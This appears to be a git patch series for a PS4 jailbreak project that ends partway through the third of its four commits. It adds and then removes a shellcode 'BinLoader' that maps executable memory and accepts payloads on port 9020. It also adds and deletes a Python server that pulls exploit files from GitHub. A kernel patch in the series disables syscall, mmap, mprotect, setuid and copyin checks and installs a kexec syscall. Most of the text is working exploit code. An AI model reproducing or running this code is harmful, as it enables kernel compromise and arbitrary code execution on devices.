From f87aa8cd131c045ee08c6503bae61fd2ccf63f1d Mon Sep 17 00:00:00 2001 From: Nazky <56560636+Nazky@users.noreply.github.com> Date: Thu, 29 May 2025 14:48:47 +0200 Subject: [PATCH 1/4] add binloader + malloc fix --- lapse.mjs | 84 +++++++++++++++---- payload.js | 16 ++-- serve.py | 237 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 315 insertions(+), 22 deletions(-) create mode 100755 serve.py diff --git a/lapse.mjs b/lapse.mjs index 57fd6bf..70c819a 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -1659,11 +1659,17 @@ export async function kexploit() { await init(); const _init_t2 = performance.now(); + if(sessionStorage.getItem('binloader')){ + runBinLoader(); + return new Promise(() => {}); + } + // If setuid is successful, we dont need to run the kexploit again try { if (sysi('setuid', 0) == 0) { - log("Not running kexploit again.") - return; + log("Not running kexploit again."); + runBinLoader(); + return new Promise(() => {}); } } catch (e) {} @@ -1743,6 +1749,49 @@ export async function kexploit() { } } +function runBinLoader() { + /* BinLoader by ps3120 */ + var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); + var payload_loader = malloc32(0x1000); + var BLDR = payload_loader.backing; + BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC; + BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302; + BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF; + BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8; + BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474; + BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400; + BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000; + BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000; + BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300; + BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C; + BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500; + BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400; + BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348; + BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0; + BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F; + BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA; + BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89; + BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949; + BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900; + BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000; + BLDR[60] = 0xC3050FCA; + + chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); + + var pthread = malloc(0x10); + sysi('mlock', payload_buffer, 0x300000); + + call_nze( + 'pthread_create', + pthread, + 0, + payload_loader, + payload_buffer + ); + + log('BinLoader is ready. Send a payload to port 9020 now'); +} + //For some reason this payload loader version does KP. /*kexploit().then(() => { var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, -1, 0); @@ -1762,22 +1811,23 @@ export async function kexploit() { })*/ -kexploit().then(() => { - function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = backing; - return ptr; - } +function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = backing; + return ptr; +} - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - nogc.push(backing); - var ptr = mem.readp(mem.addrof(backing).add(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } +function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; +} + +kexploit().then(() => { window.pld_size = new Int(0x26200000, 0x9); var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0); diff --git a/payload.js b/payload.js index f64dfc2..1ba4d7f 100644 --- a/payload.js +++ b/payload.js @@ -1,6 +1,12 @@ -fetch('./payload.bin').then(res => { - res.arrayBuffer().then(arr => { - window.pld = new Uint32Array(arr); - +if (sessionStorage.getItem('jbsuccess')) { + sessionStorage.setItem('binloader', 1); +} else { + sessionStorage.removeItem('binloader'); + fetch('./payload.bin').then(res => { + res.arrayBuffer().then(arr => { + window.pld = new Uint32Array(arr); + sessionStorage.setItem('jbsuccess', 1); + }) }) -}) \ No newline at end of file +} + diff --git a/serve.py b/serve.py new file mode 100755 index 0000000..7bdc501 --- /dev/null +++ b/serve.py @@ -0,0 +1,237 @@ +import sys +import socket +import os +from http.server import SimpleHTTPRequestHandler +from socketserver import TCPServer +from rich.console import Console +from rich.panel import Panel +from rich.text import Text +import json +from datetime import datetime +import hashlib +import urllib.request +import re + +console = Console() + +# Configuration for manifest generation +EXCLUDED_DIRS = {'.venv', '.git', 'noneed'} +EXCLUDED_EXTENSIONS = { + '.bat', '.txt', '.exe', '.mp4', '.py', '.bak', '.zip', + '.mp3', '.sh', '.h', '.c', '.o', '.ld', '.md', '.d' +} +EXCLUDED_FILES = {'.gitignore', 'COPYING', 'LICENSE', 'MAKEFILE', 'dockerfile'} +OUTPUT_FILE = 'PSFree.manifest' + +def get_machine_ip(): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + # doesn't have to be reachable + s.connect(('8.8.8.8', 80)) + ip = s.getsockname()[0] + except Exception: + ip = '127.0.0.1' + finally: + s.close() + return ip + +def is_docker(): + # Check for .dockerenv file + if os.path.exists('/.dockerenv'): + return True + # Check cgroup info for docker + try: + with open('/proc/1/cgroup', 'rt') as f: + return 'docker' in f.read() or 'kubepods' in f.read() + except Exception: + return False + +def get_host_ip(): + try: + # Try resolving Docker internal host (works on Docker Desktop and configured Linux setups) + host_ip = socket.gethostbyname('host.docker.internal') + return host_ip + except socket.error: + # Fallback if not resolved, may use default gateway IP (requires extra code) or local IP + return 'Could not determine host IP' + +def get_ipv4(): + if is_docker(): + ip = get_host_ip() + if ip: + print(f"Running inside Docker. Host IPv4: {ip}") + else: + print("Running inside Docker, but could not resolve host.docker.internal.") + else: + ip = get_machine_ip() + print(f"Not in Docker. Machine IPv4: {ip}") + return ip + +def create_manifest(): + root_dir = os.path.dirname(os.path.abspath(__file__)) + manifest_path = os.path.join(root_dir, OUTPUT_FILE) + with open(manifest_path, 'w', encoding='utf-8') as f: + # Write header + f.write("CACHE MANIFEST\n") + f.write(f"# v1\n") + f.write(f"# Generated on {datetime.now()}\n\n") + f.write("CACHE:\n") + # Walk through all files + for dirpath, dirnames, filenames in os.walk(root_dir): + # Remove excluded directories (modifies the dirnames list in-place) + dirnames[:] = [d for d in dirnames if d not in EXCLUDED_DIRS] + for filename in filenames: + filepath = os.path.join(dirpath, filename) + relpath = os.path.relpath(filepath, root_dir) + # Skip excluded files, extensions and the manifest file itself + ext = os.path.splitext(filename)[1].lower() + if (ext in EXCLUDED_EXTENSIONS or + filename in EXCLUDED_FILES or + filename == OUTPUT_FILE): + continue + # Write relative path to manifest + f.write(f"{relpath.replace(os.sep, '/')}\n") + # Write network section + f.write("\nNETWORK:\n") + f.write("*\n") + + +class CustomHandler(SimpleHTTPRequestHandler): + + def do_POST(self): + if self.path == '/generate_manifest': + try: + create_manifest() + response = { + 'status': 'success', + 'message': f'{OUTPUT_FILE} created successfully.\nThe cache has been updated, Please refresh the page.' + } + self.send_response(200) + except Exception as e: + response = { + 'status': 'error', + 'message': f"{str(e)}\nThis option only works on local server!\nPlease make sure your server is up." + } + self.send_response(500) + self.send_header('Content-Type', 'application/json') + self.end_headers() + self.wfile.write(json.dumps(response).encode('utf-8')) + + elif self.path == '/update_exploit': + root_dir = os.path.abspath(os.path.dirname(__file__)) + files_to_update = [ + ("psfree/lapse.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/lapse.mjs"), + ("psfree/psfree.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/psfree.mjs"), + ("psfree/config.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/config.mjs"), + ("psfree/send.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/send.mjs"), + ("psfree/kpatch/900.elf", "https://raw.githubusercontent.com/kmeps4/PSFree/main/kpatch/900.elf"), + ("psfree/rop/900.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/rop/900.mjs"), + #("module/chain.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/chain.mjs"), + ("psfree/module/constants.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/constants.mjs"), + ("psfree/module/int64.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/int64.mjs"), + ("psfree/module/mem.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/mem.mjs"), + ("psfree/module/memtools.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/memtools.mjs"), + ("psfree/module/offset.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/offset.mjs"), + ("psfree/module/rw.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/rw.mjs"), + ("psfree/module/utils.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/utils.mjs"), + #("module/view.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/view.mjs") + ] + results = [] + + #def file_hash(data): + # return hashlib.sha256(data).hexdigest() + + def is_mjs_file(filename): + return filename.lower().endswith('.mjs') + + for local_rel_path, url in files_to_update: + try: + abs_local_path = os.path.abspath(os.path.join(root_dir, local_rel_path)) + if not abs_local_path.startswith(root_dir): + raise ValueError(f"Invalid path {local_rel_path}") + + # Attempt to download file + try: + with urllib.request.urlopen(url) as response: + raw_data = response.read() + except Exception as download_error: + results.append(f"{local_rel_path}: download failed ({download_error})") + continue # skip to next file + + # If .mjs file, decode, replace strings using regex, then encode back + if is_mjs_file(local_rel_path): + text_data = raw_data.decode('utf-8') + text_data = re.sub(r'(? 1: + try: + PORT = int(sys.argv[1]) + except ValueError: + console.print("[bold red]Usage:[/] python serve.py [port]", style="red") + sys.exit(1) + +console.print(Panel(Text("Simple Python HTTP Server", style="bold white on blue"), + subtitle="Press [bold yellow]Ctrl+C[/] to stop the server", expand=False)) + +console.print( + f"[green]Server is running![/]\n" + f"Listening on [bold magenta]http://{IP}:{PORT}/PSFree[/]\n", + style="bold", +) + +try: + with TCPServer(("0.0.0.0", PORT), CustomHandler) as httpd: + httpd.serve_forever() +except KeyboardInterrupt: + console.print("\n[bold red]Server stopped by user.[/]") +except OSError as e: + console.print(f"[bold red]Error:[/] {e}") \ No newline at end of file From ffd8a6ffff5e07b2622a676806df84eed6572ff0 Mon Sep 17 00:00:00 2001 From: Nazky <56560636+Nazky@users.noreply.github.com> Date: Thu, 29 May 2025 14:51:22 +0200 Subject: [PATCH 2/4] Delete serve.py --- serve.py | 237 ------------------------------------------------------- 1 file changed, 237 deletions(-) delete mode 100755 serve.py diff --git a/serve.py b/serve.py deleted file mode 100755 index 7bdc501..0000000 --- a/serve.py +++ /dev/null @@ -1,237 +0,0 @@ -import sys -import socket -import os -from http.server import SimpleHTTPRequestHandler -from socketserver import TCPServer -from rich.console import Console -from rich.panel import Panel -from rich.text import Text -import json -from datetime import datetime -import hashlib -import urllib.request -import re - -console = Console() - -# Configuration for manifest generation -EXCLUDED_DIRS = {'.venv', '.git', 'noneed'} -EXCLUDED_EXTENSIONS = { - '.bat', '.txt', '.exe', '.mp4', '.py', '.bak', '.zip', - '.mp3', '.sh', '.h', '.c', '.o', '.ld', '.md', '.d' -} -EXCLUDED_FILES = {'.gitignore', 'COPYING', 'LICENSE', 'MAKEFILE', 'dockerfile'} -OUTPUT_FILE = 'PSFree.manifest' - -def get_machine_ip(): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - # doesn't have to be reachable - s.connect(('8.8.8.8', 80)) - ip = s.getsockname()[0] - except Exception: - ip = '127.0.0.1' - finally: - s.close() - return ip - -def is_docker(): - # Check for .dockerenv file - if os.path.exists('/.dockerenv'): - return True - # Check cgroup info for docker - try: - with open('/proc/1/cgroup', 'rt') as f: - return 'docker' in f.read() or 'kubepods' in f.read() - except Exception: - return False - -def get_host_ip(): - try: - # Try resolving Docker internal host (works on Docker Desktop and configured Linux setups) - host_ip = socket.gethostbyname('host.docker.internal') - return host_ip - except socket.error: - # Fallback if not resolved, may use default gateway IP (requires extra code) or local IP - return 'Could not determine host IP' - -def get_ipv4(): - if is_docker(): - ip = get_host_ip() - if ip: - print(f"Running inside Docker. Host IPv4: {ip}") - else: - print("Running inside Docker, but could not resolve host.docker.internal.") - else: - ip = get_machine_ip() - print(f"Not in Docker. Machine IPv4: {ip}") - return ip - -def create_manifest(): - root_dir = os.path.dirname(os.path.abspath(__file__)) - manifest_path = os.path.join(root_dir, OUTPUT_FILE) - with open(manifest_path, 'w', encoding='utf-8') as f: - # Write header - f.write("CACHE MANIFEST\n") - f.write(f"# v1\n") - f.write(f"# Generated on {datetime.now()}\n\n") - f.write("CACHE:\n") - # Walk through all files - for dirpath, dirnames, filenames in os.walk(root_dir): - # Remove excluded directories (modifies the dirnames list in-place) - dirnames[:] = [d for d in dirnames if d not in EXCLUDED_DIRS] - for filename in filenames: - filepath = os.path.join(dirpath, filename) - relpath = os.path.relpath(filepath, root_dir) - # Skip excluded files, extensions and the manifest file itself - ext = os.path.splitext(filename)[1].lower() - if (ext in EXCLUDED_EXTENSIONS or - filename in EXCLUDED_FILES or - filename == OUTPUT_FILE): - continue - # Write relative path to manifest - f.write(f"{relpath.replace(os.sep, '/')}\n") - # Write network section - f.write("\nNETWORK:\n") - f.write("*\n") - - -class CustomHandler(SimpleHTTPRequestHandler): - - def do_POST(self): - if self.path == '/generate_manifest': - try: - create_manifest() - response = { - 'status': 'success', - 'message': f'{OUTPUT_FILE} created successfully.\nThe cache has been updated, Please refresh the page.' - } - self.send_response(200) - except Exception as e: - response = { - 'status': 'error', - 'message': f"{str(e)}\nThis option only works on local server!\nPlease make sure your server is up." - } - self.send_response(500) - self.send_header('Content-Type', 'application/json') - self.end_headers() - self.wfile.write(json.dumps(response).encode('utf-8')) - - elif self.path == '/update_exploit': - root_dir = os.path.abspath(os.path.dirname(__file__)) - files_to_update = [ - ("psfree/lapse.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/lapse.mjs"), - ("psfree/psfree.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/psfree.mjs"), - ("psfree/config.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/config.mjs"), - ("psfree/send.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/refs/heads/main/send.mjs"), - ("psfree/kpatch/900.elf", "https://raw.githubusercontent.com/kmeps4/PSFree/main/kpatch/900.elf"), - ("psfree/rop/900.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/rop/900.mjs"), - #("module/chain.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/chain.mjs"), - ("psfree/module/constants.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/constants.mjs"), - ("psfree/module/int64.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/int64.mjs"), - ("psfree/module/mem.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/mem.mjs"), - ("psfree/module/memtools.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/memtools.mjs"), - ("psfree/module/offset.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/offset.mjs"), - ("psfree/module/rw.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/rw.mjs"), - ("psfree/module/utils.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/utils.mjs"), - #("module/view.mjs", "https://raw.githubusercontent.com/kmeps4/PSFree/main/module/view.mjs") - ] - results = [] - - #def file_hash(data): - # return hashlib.sha256(data).hexdigest() - - def is_mjs_file(filename): - return filename.lower().endswith('.mjs') - - for local_rel_path, url in files_to_update: - try: - abs_local_path = os.path.abspath(os.path.join(root_dir, local_rel_path)) - if not abs_local_path.startswith(root_dir): - raise ValueError(f"Invalid path {local_rel_path}") - - # Attempt to download file - try: - with urllib.request.urlopen(url) as response: - raw_data = response.read() - except Exception as download_error: - results.append(f"{local_rel_path}: download failed ({download_error})") - continue # skip to next file - - # If .mjs file, decode, replace strings using regex, then encode back - if is_mjs_file(local_rel_path): - text_data = raw_data.decode('utf-8') - text_data = re.sub(r'(? 1: - try: - PORT = int(sys.argv[1]) - except ValueError: - console.print("[bold red]Usage:[/] python serve.py [port]", style="red") - sys.exit(1) - -console.print(Panel(Text("Simple Python HTTP Server", style="bold white on blue"), - subtitle="Press [bold yellow]Ctrl+C[/] to stop the server", expand=False)) - -console.print( - f"[green]Server is running![/]\n" - f"Listening on [bold magenta]http://{IP}:{PORT}/PSFree[/]\n", - style="bold", -) - -try: - with TCPServer(("0.0.0.0", PORT), CustomHandler) as httpd: - httpd.serve_forever() -except KeyboardInterrupt: - console.print("\n[bold red]Server stopped by user.[/]") -except OSError as e: - console.print(f"[bold red]Error:[/] {e}") \ No newline at end of file From bf59500edfd6af50c66fe1865faf3d85f5eab019 Mon Sep 17 00:00:00 2001 From: Nazky <56560636+Nazky@users.noreply.github.com> Date: Thu, 29 May 2025 20:28:45 +0200 Subject: [PATCH 3/4] revert + fix --- kpatch/900.c | 159 +++++++++++++----------------------------------- kpatch/900.elf | Bin 5224 -> 5288 bytes kpatch/900.o | Bin 1840 -> 1912 bytes lapse.mjs | 160 ++++++++++++++++++++++--------------------------- payload.js | 2 - 5 files changed, 114 insertions(+), 207 deletions(-) mode change 100644 => 100755 lapse.mjs diff --git a/kpatch/900.c b/kpatch/900.c index ef99a9f..2ff5a67 100644 --- a/kpatch/900.c +++ b/kpatch/900.c @@ -16,7 +16,6 @@ You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ #include -#include #include "types.h" #include "utils.h" @@ -58,123 +57,51 @@ void do_patch(void) { void * const kbase = (void *)rdmsr(0xC0000082) - off_fast_syscall; disable_cr0_wp(); - - // patch amd64_syscall() to allow calling syscalls everywhere - - // struct syscall_args sa; // initialized already - // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); - // int is_invalid_syscall = 0 - // - // // check the calling code if it looks like one of the syscall stubs at a - // // libkernel library and check if the syscall number correponds to the - // // proper stub - // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 - // || sa.code != (u32)(code >> 0x10) - // ) { - // // patch this to " = 0" instead - // is_invalid_syscall = -1; - // } - write32(kbase, 0x490, 0); - // these code corresponds to the check that ensures that the caller's - // instruction pointer is inside the libkernel library's memory range - // - // // patch the check to always go to the "goto do_syscall;" line - // void *code = td->td_frame->tf_rip; - // if (libkernel->start <= code && code < libkernel->end - // && is_invalid_syscall == 0 - // ) { - // goto do_syscall; - // } - // - // do_syscall: - // ... - // lea rsi, [rbp - 0x78] - // mov rdi, rbx - // mov rax, qword [rbp - 0x80] - // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) - // - // sy_call() is the function that will execute the requested syscall. - write16(kbase, 0x4b5, 0x9090); - write16(kbase, 0x4b9, 0x9090); - write8(kbase, 0x4c2, 0xeb); - - // patch sys_mmap() to allow rwx mappings - - // patch maximum cpu mem protection: 0x33 -> 0x37 - // the ps4 added custom protections for their gpu memory accesses - // GPU X: 0x8 R: 0x10 W: 0x20 - // that's why you see other bits set - // ref: https://cturt.github.io/ps4-2.html - write8(kbase, 0x16632a, 0x37); - write8(kbase, 0x16632d, 0x37); - - // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings - // - // this check is skipped after the patch - // - // if ((new_prot & current->max_protection) != new_prot) { - // vm_map_unlock(map); - // return (KERN_PROTECTION_FAILURE); - // } - write32(kbase, 0x80b8d, 0); - - // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere - - // call ... - // mov r14, qword [rbp - 0xad0] - // cmp eax, 0x4000000 - // jb ... ; patch jb to jmp - write8(kbase, 0x23B67F, 0xeb); - // patch called function to always return 0 - // - // sys_dynlib_dlsym: - // ... - // mov edi, 0x10 ; 16 - // call patched_function ; kernel_base + 0x951c0 - // test eax, eax - // je ... - // mov rax, qword [rbp - 0xad8] - // ... - // patched_function: ; patch to "xor eax, eax; ret" - // push rbp - // mov rbp, rsp - // ... - write32(kbase, 0x221B40, 0xC3C03148); - - // patch sys_setuid() to allow freely changing the effective user ID - - // ; PRIV_CRED_SETUID = 50 - // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) - // test eax, eax - // je ... ; patch je to jmp - write8(kbase, 0x1A06, 0xeb); - - // patch sysveri to prevent delayed panics - write16(kbase, 0x626874, 0x9090); - - // overwrite the entry of syscall 11 (unimplemented) in sysent - // - // struct args { - // u64 rdi; - // u64 rsi; - // u64 rdx; - // u64 rcx; - // u64 r8; - // u64 r9; - // }; - // - // int sys_kexec(struct thread td, struct args *uap) { - // asm("jmp qword ptr [rsi]"); - // } - - // sysent[11] + //ChendoChap Patches For 900 + const size_t KERNEL_enable_syscalls_1 = 0x490; + const size_t KERNEL_enable_syscalls_2 = 0x4B5; + const size_t KERNEL_enable_syscalls_3 = 0x4B9; + const size_t KERNEL_enable_syscalls_4 = 0x4C2; + const size_t KERNEL_mprotect = 0x80B8D; + const size_t KERNEL_prx = 0x23AEC4; + const size_t KERNEL_mmap_1 = 0x16632A; + const size_t KERNEL_mmap_2 = 0x16632D; + const size_t KERNEL_dlsym_1 = 0x23B67F; + const size_t KERNEL_dlsym_2 = 0x221b40; + const size_t KERNEL_setuid = 0x1A06; + const size_t KERNEL_bzero = 0x2713FD; + const size_t KERNEL_pagezero = 0x271441; + const size_t KERNEL_memcpy = 0x2714BD; + const size_t KERNEL_pagecopy = 0x271501; + const size_t KERNEL_copyin = 0x2716AD; + const size_t KERNEL_copyinstr = 0x271B5D; + const size_t KERNEL_copystr = 0x271C2D; + const size_t KERNEL_veriPatch = 0x626874; + const size_t KERNEL_setcr0_patch = 0x3ade3B; + write32(kbase, KERNEL_enable_syscalls_1, 0); + write16(kbase, KERNEL_enable_syscalls_2, 0x9090); + write16(kbase, KERNEL_enable_syscalls_3, 0x9090); + write8(kbase, KERNEL_enable_syscalls_4, 0xEB); + write8(kbase, KERNEL_mmap_1, 0x37); + write8(kbase, KERNEL_mmap_2, 0x37); + write32(kbase, KERNEL_mprotect, 0); + write8(kbase, KERNEL_dlsym_1, 0xEB); + write32(kbase, KERNEL_dlsym_2, 0xC3C03148); + write8(kbase, KERNEL_setuid, 0xEB); + write16(kbase, KERNEL_prx, 0xE990); + write8(kbase, KERNEL_bzero, 0xEB); + write8(kbase, KERNEL_pagezero, 0xEB); + write8(kbase, KERNEL_memcpy, 0xEB); + write8(kbase, KERNEL_pagecopy, 0xEB); + write8(kbase, KERNEL_copyin, 0xEB); + write8(kbase, KERNEL_copyinstr, 0xEB); + write8(kbase, KERNEL_copystr, 0xEB); + write16(kbase, KERNEL_veriPatch, 0x9090); + write32(kbase, KERNEL_setcr0_patch, 0xC3C7220F); const size_t offset_sysent_11 = 0x1100520; - // .sy_narg = 6 - write32(kbase, offset_sysent_11, 6); - // .sy_call = gadgets['jmp qword ptr [rsi]'] + write32(kbase, offset_sysent_11, 2); write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad); - // .sy_thrcnt = SY_THR_STATIC - write32(kbase, offset_sysent_11 + 0x2c, 1); + write32(kbase, offset_sysent_11 + 0x2c, 1); enable_cr0_wp(); } \ No newline at end of file diff --git a/kpatch/900.elf b/kpatch/900.elf index 0e026118abcae72528a9f1c4e6a60ee592d6e1df..a38fa6b29ce522f871cba606f666f29f17bcfd66 100644 GIT binary patch delta 284 zcmaE%u|ji#2IGr~n&yTV7#Y9-Ml%RN_yJE#Qdoe@HG&ZS8lXB(5P#!D7lFVd>y#NL zygb(US6H3l^|3}r5iqqELNSVhd27YMRID_Z(v<;HX~!E&GLjf3OgP?Xeb0)4U+MVa zqp77$cmTr=5FP+0WJzyJTgK`dsF0Maf%oH034P+lSgDD&k1|NjL* zdJm9Z1Eeni>4^s=Ca(~*0P24zD9`w9GouhYBctDBPGNn{0I1UgCOZn7bHY6`xl!1j V@xtVTK(b;oqli7@s>wiq008HyV7CAO delta 219 zcmZ3X`9foY2IGo}n&yTR7#Y9-Ml%RN_yJE#Qdoe@96<;_2dIt{#NRm4MS!;?BZ*3u)`w1#BzL{JoC@d=S|Ns9@5Pb|1K-vX}S4^HMC@(SP-~azl zfU+Ba^d2Dn21s83(i0C#OnxC~!I(2yQAnO~(`H8@c1A|7$)3XcoB~jr1tvENn{&e5 aG5MgdJ>!JQj3V}o7Ly%;WY*+H5p@9ju0Nyz diff --git a/kpatch/900.o b/kpatch/900.o index febc978bacf85ccb237eb121caa258325cc2f498..2e7e5bee06362fc07e6278ec171f0d5185fbb020 100644 GIT binary patch delta 267 zcmdnM_k(YO2IG&3nim3(tW#!~@bXyWUtx8I*T)(iMZnZv2*oH0=B*V2Q?b%uN>>I* zr5$f9$w*?DFyVNk^*t*Fex>7wk2fl?3NSKFW@8LiFw`^AGtf0GO)AYRDK)G!GSV|J z(Nr)53o`)0UgcIe|q3 z#$3Rn!B{l;B#S*02lHeuRy)SN$)2qCOuHZo7qDtD9+-TR)t>ReWKK4FCJW}tUTk(u b4os7~*z6czOg_nG&)L8Xv87_NAd5Tzq7qVd delta 159 zcmeytw}Eeh2IGc_niqIWGLjf3OgP@Cz$(DVHrb0YSjJe-SkFM$tTd@KucXwd&d5a1 zz(iBQ5G*`-FJm<0rpb~_>lrs~KFQS2$n=h3aukahqu%6+EcQV1BA66pwP!lOG&zXX zj?ruKL{@vovdI^LWW{7bHhabylLOi8nLaR0p2TLy^n-EoB{n<81(OBY?I%xQ {}); + return; } } catch (e) {} @@ -1749,67 +1790,6 @@ export async function kexploit() { } } -function runBinLoader() { - /* BinLoader by ps3120 */ - var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); - var payload_loader = malloc32(0x1000); - var BLDR = payload_loader.backing; - BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC; - BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302; - BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF; - BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8; - BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474; - BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400; - BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000; - BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000; - BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300; - BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C; - BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500; - BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400; - BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348; - BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0; - BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F; - BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA; - BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89; - BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949; - BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900; - BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000; - BLDR[60] = 0xC3050FCA; - - chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); - - var pthread = malloc(0x10); - sysi('mlock', payload_buffer, 0x300000); - - call_nze( - 'pthread_create', - pthread, - 0, - payload_loader, - payload_buffer - ); - - log('BinLoader is ready. Send a payload to port 9020 now'); -} - -//For some reason this payload loader version does KP. -/*kexploit().then(() => { - var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x41000, -1, 0); - var payload_loader = new View4(window.pld); - chain.sys('mprotect', payload_loader.addr, 